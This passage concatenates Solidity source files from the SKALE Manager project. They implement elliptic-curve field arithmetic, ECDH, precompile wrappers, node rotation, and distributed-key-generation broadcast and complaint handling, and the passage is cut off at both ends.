} } return index; } } // SPDX-License-Identifier: AGPL-3.0-only /* FieldOperations.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Precompiled.sol"; library Fp2Operations { using SafeMath for uint; struct Fp2Point { uint a; uint b; } uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583; function addFp2(Fp2Point memory value1, Fp2Point memory value2) internal pure returns (Fp2Point memory) { return Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) }); } function scalarMulFp2(Fp2Point memory value, uint scalar) internal pure returns (Fp2Point memory) { return Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) }); } function minusFp2(Fp2Point memory diminished, Fp2Point memory subtracted) internal pure returns (Fp2Point memory difference) { uint p = P; if (diminished.a >= subtracted.a) { difference.a = addmod(diminished.a, p - subtracted.a, p); } else { difference.a = (p - addmod(subtracted.a, p - diminished.a, p)).mod(p); } if (diminished.b >= subtracted.b) { difference.b = addmod(diminished.b, p - subtracted.b, p); } else { difference.b = (p - addmod(subtracted.b, p - diminished.b, p)).mod(p); } } function mulFp2( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (Fp2Point memory result) { uint p = P; Fp2Point memory point = Fp2Point({ a: mulmod(value1.a, value2.a, p), b: mulmod(value1.b, value2.b, p)}); result.a = addmod( point.a, mulmod(p - 1, point.b, p), p); result.b = addmod( mulmod( addmod(value1.a, value1.b, p), addmod(value2.a, value2.b, p), p), p - addmod(point.a, point.b, p), p); } function squaredFp2(Fp2Point memory value) internal pure returns (Fp2Point memory) { uint p = P; uint ab = mulmod(value.a, value.b, p); uint mult = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p); return Fp2Point({ a: mult, b: addmod(ab, ab, p) }); } function inverseFp2(Fp2Point memory value) internal view returns (Fp2Point memory result) { uint p = P; uint t0 = mulmod(value.a, value.a, p); uint t1 = mulmod(value.b, value.b, p); uint t2 = mulmod(p - 1, t1, p); if (t0 >= t2) { t2 = addmod(t0, p - t2, p); } else { t2 = (p - addmod(t2, p - t0, p)).mod(p); } uint t3 = Precompiled.bigModExp(t2, p - 2, p); result.a = mulmod(value.a, t3, p); result.b = (p - mulmod(value.b, t3, p)).mod(p); } function isEqual( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (bool) { return value1.a == value2.a && value1.b == value2.b; } } library G1Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; function getG1Generator() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 1, b: 2 }); } function isG1Point(uint x, uint y) internal pure returns (bool) { uint p = Fp2Operations.P; return mulmod(y, y, p) == addmod(mulmod(mulmod(x, x, p), x, p), 3, p); } function isG1(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return isG1Point(point.a, point.b); } function checkRange(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return point.a < Fp2Operations.P && point.b < Fp2Operations.P; } function negate(uint y) internal pure returns (uint) { return Fp2Operations.P.sub(y).mod(Fp2Operations.P); } } library G2Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; struct G2Point { Fp2Operations.Fp2Point x; Fp2Operations.Fp2Point y; } function getTWISTB() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 19485874751759354771024239261021720505790618469301721065564631296452457478373, b: 266929791119991161246907387137283842545076965332900288569378510910307636690 }); } function getG2Generator() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 10857046999023057135944570762232829481370756359578518086990519993285655852781, b: 11559732032986387107991004021392285783925812861821192530917403151452391805634 }), y: Fp2Operations.Fp2Point({ a: 8495653923123431417604973247489272438418190587263600148770280649306958101930, b: 4082367875863433681332203403145435568316851327593401208105741076214120093531 }) }); } function getG2Zero() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 0, b: 0 }), y: Fp2Operations.Fp2Point({ a: 1, b: 0 }) }); } function isG2Point(Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y) internal pure returns (bool) { if (isG2ZeroPoint(x, y)) { return true; } Fp2Operations.Fp2Point memory squaredY = y.squaredFp2(); Fp2Operations.Fp2Point memory res = squaredY.minusFp2( x.squaredFp2().mulFp2(x) ).minusFp2(getTWISTB()); return res.a == 0 && res.b == 0; } function isG2(G2Point memory value) internal pure returns (bool) { return isG2Point(value.x, value.y); } function isG2ZeroPoint( Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y ) internal pure returns (bool) { return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0; } function isG2Zero(G2Point memory value) internal pure returns (bool) { return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0; // return isG2ZeroPoint(value.x, value.y); } function addG2( G2Point memory value1, G2Point memory value2 ) internal view returns (G2Point memory sum) { if (isG2Zero(value1)) { return value2; } if (isG2Zero(value2)) { return value1; } if (isEqual(value1, value2)) { return doubleG2(value1); } Fp2Operations.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2()); sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x)); sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x))); uint p = Fp2Operations.P; sum.y.a = (p - sum.y.a).mod(p); sum.y.b = (p - sum.y.b).mod(p); } function isEqual( G2Point memory value1, G2Point memory value2 ) internal pure returns (bool) { return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y); } function doubleG2(G2Point memory value) internal view returns (G2Point memory result) { if (isG2Zero(value)) { return value; } else { Fp2Operations.Fp2Point memory s = value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2()); result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x)); result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x))); uint p = Fp2Operations.P; result.y.a = (p - result.y.a).mod(p); result.y.b = (p - result.y.b).mod(p); } } } // SPDX-License-Identifier: AGPL-3.0-only /* NodeRotation.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Schains.sol"; /** * @title NodeRotation * @dev This contract handles all node rotation functionality. */ contract NodeRotation is Permissions { using Random for Random.RandomGenerator; /** * nodeIndex - index of Node which is in process of rotation (left from schain) * newNodeIndex - index of Node which is rotated(added to schain) * freezeUntil - time till which Node should be turned on * rotationCounter - how many rotations were on this schain */ struct Rotation { uint nodeIndex; uint newNodeIndex; uint freezeUntil; uint rotationCounter; } struct LeavingHistory { bytes32 schainIndex; uint finishedRotation; } mapping (bytes32 => Rotation) public rotations; mapping (uint => LeavingHistory[]) public leavingHistory; mapping (bytes32 => bool) public waitForNewNode; /** * @dev Allows SkaleManager to remove, find new node, and rotate node from * schain. * * Requirements: * * - A free node must exist. */ function exitFromSchain(uint nodeIndex) external allow("SkaleManager") returns (bool, bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainId = schainsInternal.getActiveSchain(nodeIndex); if (schainId == bytes32(0)) { return (true, false); } _startRotation(schainId, nodeIndex); rotateNode(nodeIndex, schainId, true, false); return (schainsInternal.getActiveSchain(nodeIndex) == bytes32(0) ? true : false, true); } /** * @dev Allows SkaleManager contract to freeze all schains on a given node. */ function freezeSchains(uint nodeIndex) external allow("SkaleManager") { bytes32[] memory schains = SchainsInternal( contractManager.getContract("SchainsInternal") ).getSchainIdsForNode(nodeIndex); for (uint i = 0; i < schains.length; i++) { if (schains[i] != bytes32(0)) { require( ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schains[i]), "DKG did not finish on Schain" ); if (rotations[schains[i]].freezeUntil < now) { _startWaiting(schains[i], nodeIndex); } else { if (rotations[schains[i]].nodeIndex != nodeIndex) { revert("Occupied by rotation on Schain"); } } } } } /** * @dev Allows Schains contract to remove a rotation from an schain. */ function removeRotation(bytes32 schainIndex) external allow("Schains") { delete rotations[schainIndex]; } /** * @dev Allows Owner to immediately rotate an schain. */ function skipRotationDelay(bytes32 schainIndex) external onlyOwner { rotations[schainIndex].freezeUntil = now; } /** * @dev Returns rotation details for a given schain. */ function getRotation(bytes32 schainIndex) external view returns (Rotation memory) { return rotations[schainIndex]; } /** * @dev Returns leaving history for a given node. */ function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory) { return leavingHistory[nodeIndex]; } function isRotationInProgress(bytes32 schainIndex) external view returns (bool) { return rotations[schainIndex].freezeUntil >= now && !waitForNewNode[schainIndex]; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Allows SkaleDKG and SkaleManager contracts to rotate a node from an * schain. */ function rotateNode( uint nodeIndex, bytes32 schainId, bool shouldDelay, bool isBadNode ) public allowTwo("SkaleDKG", "SkaleManager") returns (uint newNode) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); schainsInternal.removeNodeFromSchain(nodeIndex, schainId); if (!isBadNode) { schainsInternal.removeNodeFromExceptions(schainId, nodeIndex); } newNode = selectNodeToGroup(schainId); Nodes(contractManager.getContract("Nodes")).addSpaceToNode( nodeIndex, schainsInternal.getSchainsPartOfNode(schainId) ); _finishRotation(schainId, nodeIndex, newNode, shouldDelay); } /** * @dev Allows SkaleManager, Schains, and SkaleDKG contracts to * pseudo-randomly select a new Node for an Schain. * * Requirements: * * - Schain is active. * - A free node already exists. * - Free space can be allocated from the node. */ function selectNodeToGroup(bytes32 schainId) public allowThree("SkaleManager", "Schains", "SkaleDKG") returns (uint nodeIndex) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(schainsInternal.isSchainActive(schainId), "Group is not active"); uint8 space = schainsInternal.getSchainsPartOfNode(schainId); schainsInternal.makeSchainNodesInvisible(schainId); require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes available for rotation"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), schainId) ); nodeIndex = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); require(nodes.removeSpaceFromNode(nodeIndex, space), "Could not remove space from nodeIndex"); schainsInternal.makeSchainNodesVisible(schainId); schainsInternal.addSchainForNode(nodeIndex, schainId); schainsInternal.setException(schainId, nodeIndex); schainsInternal.setNodeInGroup(schainId, nodeIndex); } /** * @dev Initiates rotation of a node from an schain. */ function _startRotation(bytes32 schainIndex, uint nodeIndex) private { rotations[schainIndex].newNodeIndex = nodeIndex; waitForNewNode[schainIndex] = true; } function _startWaiting(bytes32 schainIndex, uint nodeIndex) private { ConstantsHolder constants = ConstantsHolder(contractManager.getContract("ConstantsHolder")); rotations[schainIndex].nodeIndex = nodeIndex; rotations[schainIndex].freezeUntil = now.add(constants.rotationDelay()); } /** * @dev Completes rotation of a node from an schain. */ function _finishRotation( bytes32 schainIndex, uint nodeIndex, uint newNodeIndex, bool shouldDelay) private { leavingHistory[nodeIndex].push( LeavingHistory( schainIndex, shouldDelay ? now.add( ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() ) : now ) ); rotations[schainIndex].newNodeIndex = newNodeIndex; rotations[schainIndex].rotationCounter++; delete waitForNewNode[schainIndex]; ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainIndex); } /** * @dev Checks whether a rotation can be performed. * * Requirements: * * - Schain must exist. */ function _checkRotation(bytes32 schainId ) private view returns (bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainExist(schainId), "Schain does not exist for rotation"); return schainsInternal.isAnyFreeNode(schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* ISkaleDKG.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface to {SkaleDKG}. */ interface ISkaleDKG { /** * @dev See {SkaleDKG-openChannel}. */ function openChannel(bytes32 schainId) external; /** * @dev See {SkaleDKG-deleteChannel}. */ function deleteChannel(bytes32 schainId) external; /** * @dev See {SkaleDKG-isLastDKGSuccessful}. */ function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool); /** * @dev See {SkaleDKG-isChannelOpened}. */ function isChannelOpened(bytes32 schainId) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later /* Modifications Copyright (C) 2018 SKALE Labs ec.sol by @jbaylina under GPL-3.0 License */ /** @file ECDH.sol * @author Jordi Baylina (@jbaylina) * @date 2016 */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title ECDH * @dev This contract performs Elliptic-curve Diffie-Hellman key exchange to * support the DKG process. */ contract ECDH { using SafeMath for uint256; uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 constant private _A = 0; function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, _GX, _GY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, pubX, pubY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function jAdd( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N)); } function jSub( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N)); } function jMul( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N)); } function jDiv( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N)); } function inverse(uint256 a) public pure returns (uint256 invA) { require(a > 0 && a < _N, "Input is incorrect"); uint256 t = 0; uint256 newT = 1; uint256 r = _N; uint256 newR = a; uint256 q; while (newR != 0) { q = r.div(newR); (t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N)); (r, newR) = (newR, r % newR); } return t; } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; // we use (0 0 1) as zero point, z always equal 1 if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } // we use (0 0 1) as zero point, z always equal 1 if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); } else { (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); } else { z3 = da; } } function ecDouble( uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { (x3, y3, z3) = ecAdd( x1, y1, z1, x1, y1, z1 ); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } } // SPDX-License-Identifier: AGPL-3.0-only /* Precompiled.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library Precompiled { function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) { uint[6] memory inputToBigModExp; inputToBigModExp[0] = 32; inputToBigModExp[1] = 32; inputToBigModExp[2] = 32; inputToBigModExp[3] = base; inputToBigModExp[4] = power; inputToBigModExp[5] = modulus; uint[1] memory out; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20) } require(success, "BigModExp failed"); return out[0]; } function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) { uint[3] memory inputToMul; uint[2] memory output; inputToMul[0] = x; inputToMul[1] = y; inputToMul[2] = k; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40) } require(success, "Multiplication failed"); return (output[0], output[1]); } function bn256Pairing( uint x1, uint y1, uint a1, uint b1, uint c1, uint d1, uint x2, uint y2, uint a2, uint b2, uint c2, uint d2) internal view returns (bool) { bool success; uint[12] memory inputToPairing; inputToPairing[0] = x1; inputToPairing[1] = y1; inputToPairing[2] = a1; inputToPairing[3] = b1; inputToPairing[4] = c1; inputToPairing[5] = d1; inputToPairing[6] = x2; inputToPairing[7] = y2; inputToPairing[8] = a2; inputToPairing[9] = b2; inputToPairing[10] = c2; inputToPairing[11] = d2; uint[1] memory out; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20) } require(success, "Pairing check failed"); return out[0] != 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgBroadcast.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../KeyStorage.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgBroadcast * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgBroadcast { using SafeMath for uint; /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainId, uint indexed fromNode, G2Operations.G2Point[] verificationVector, SkaleDKG.KeyShare[] secretKeyContribution ); /** * @dev Broadcasts verification vector and secret key contribution to all * other nodes in the group. * * Emits BroadcastAndKeyShare event. * * Requirements: * * - `msg.sender` must have an associated node. * - `verificationVector` must be a certain length. * - `secretKeyContribution` length must be equal to number of nodes in group. */ function broadcast( bytes32 schainId, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) external { uint n = channels[schainId].n; require(verificationVector.length == getT(n), "Incorrect number of verification vectors"); require( secretKeyContribution.length == n, "Incorrect number of secret key shares" ); (uint index, ) = SkaleDKG(contractManager.getContract("SkaleDKG")).checkAndReturnIndexInGroup( schainId, nodeIndex, true ); require(!dkgProcess[schainId].broadcasted[index], "This node has already broadcasted"); dkgProcess[schainId].broadcasted[index] = true; dkgProcess[schainId].numberOfBroadcasted++; if (dkgProcess[schainId].numberOfBroadcasted == channels[schainId].n) { SkaleDKG(contractManager.getContract("SkaleDKG")).setStartAlrightTimestamp(schainId); } hashedData[schainId][index] = SkaleDKG(contractManager.getContract("SkaleDKG")).hashData( secretKeyContribution, verificationVector ); KeyStorage(contractManager.getContract("KeyStorage")).adding(schainId, verificationVector[0]); emit BroadcastAndKeyShare( schainId, nodeIndex, verificationVector, secretKeyContribution ); } function getT(uint n) public pure returns (uint) { return n.mul(2).add(1).div(3); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgComplaint.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../ConstantsHolder.sol"; import "../Wallets.sol"; import "../Nodes.sol"; /** * @title SkaleDkgComplaint * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgComplaint { using SafeMath for uint; /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex); /** * @dev Creates a complaint from a node (accuser) to a given node. * The accusing node must broadcast additional parameters within 1800 blocks. * * Emits {ComplaintSent} or {ComplaintError} event. * * Requirements: * * - `msg.sender` must have an associated node. */ function complaint( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); if (skaleDKG.isNodeBroadcasted(schainId, toNodeIndex)) { _handleComplaintWhenBroadcasted( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints, startAlrightTimestamp ); } else { // not broadcasted in 30 min _handleComplaintWhenNotBroadcasted(schainId, toNodeIndex, contractManager, channels); } skaleDKG.setBadNode(schainId, toNodeIndex); } function complaintBadData( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); require(skaleDKG.isNodeBroadcasted(schainId, toNodeIndex), "Accused node has not broadcasted"); require(!skaleDKG.isAllDataReceived(schainId, fromNodeIndex), "Node has already sent alright"); if (complaints[schainId].nodeToComplaint == uint(-1)) { complaints[schainId].nodeToComplaint = toNodeIndex; complaints[schainId].fromNodeToComplaint = fromNodeIndex; complaints[schainId].startComplaintBlockTimestamp = block.timestamp; emit ComplaintSent(schainId, fromNodeIndex, toNodeIndex); } else { emit ComplaintError("First complaint has already been processed"); } } function _handleComplaintWhenBroadcasted( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) private { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); // missing alright if (complaints[schainId].nodeToComplaint == uint(-1)) { if ( skaleDKG.isEveryoneBroadcasted(schainId) && !skaleDKG.isAllDataReceived(schainId, toNodeIndex) && startAlrightTimestamp[schainId].add(_getComplaintTimelimit(contractManager)) <= block.timestamp ) { // missing alright skaleDKG.finalizeSlashing(schainId, toNodeIndex); return; } else if (!skaleDKG.isAllDataReceived(schainId, fromNodeIndex)) { // incorrect data skaleDKG.finalizeSlashing(schainId, fromNodeIndex); return; } emit ComplaintError("Has already sent alright"); return; } else if (complaints[schainId].nodeToComplaint == toNodeIndex) { // 30 min after incorrect data complaint if (complaints[schainId].startComplaintBlockTimestamp.add( _getComplaintTimelimit(contractManager) ) <= block.timestamp) { skaleDKG.finalizeSlashing(schainId, complaints[schainId].nodeToComplaint); return; } emit ComplaintError("The same complaint rejected"); return; } emit ComplaintError("One complaint is already sent"); } function _handleComplaintWhenNotBroadcasted( bytes32 schainId, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels ) private { if (channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit(contractManager)) <= block.timestamp) { SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, toNodeIndex); return; } emit ComplaintError("Complaint sent too early"); } function _getComplaintTimelimit(ContractManager contractManager) private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgPreResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgPreResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgPreResponse { using SafeMath for uint; using G2Operations for G2Operations.G2Point; function preResponse( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 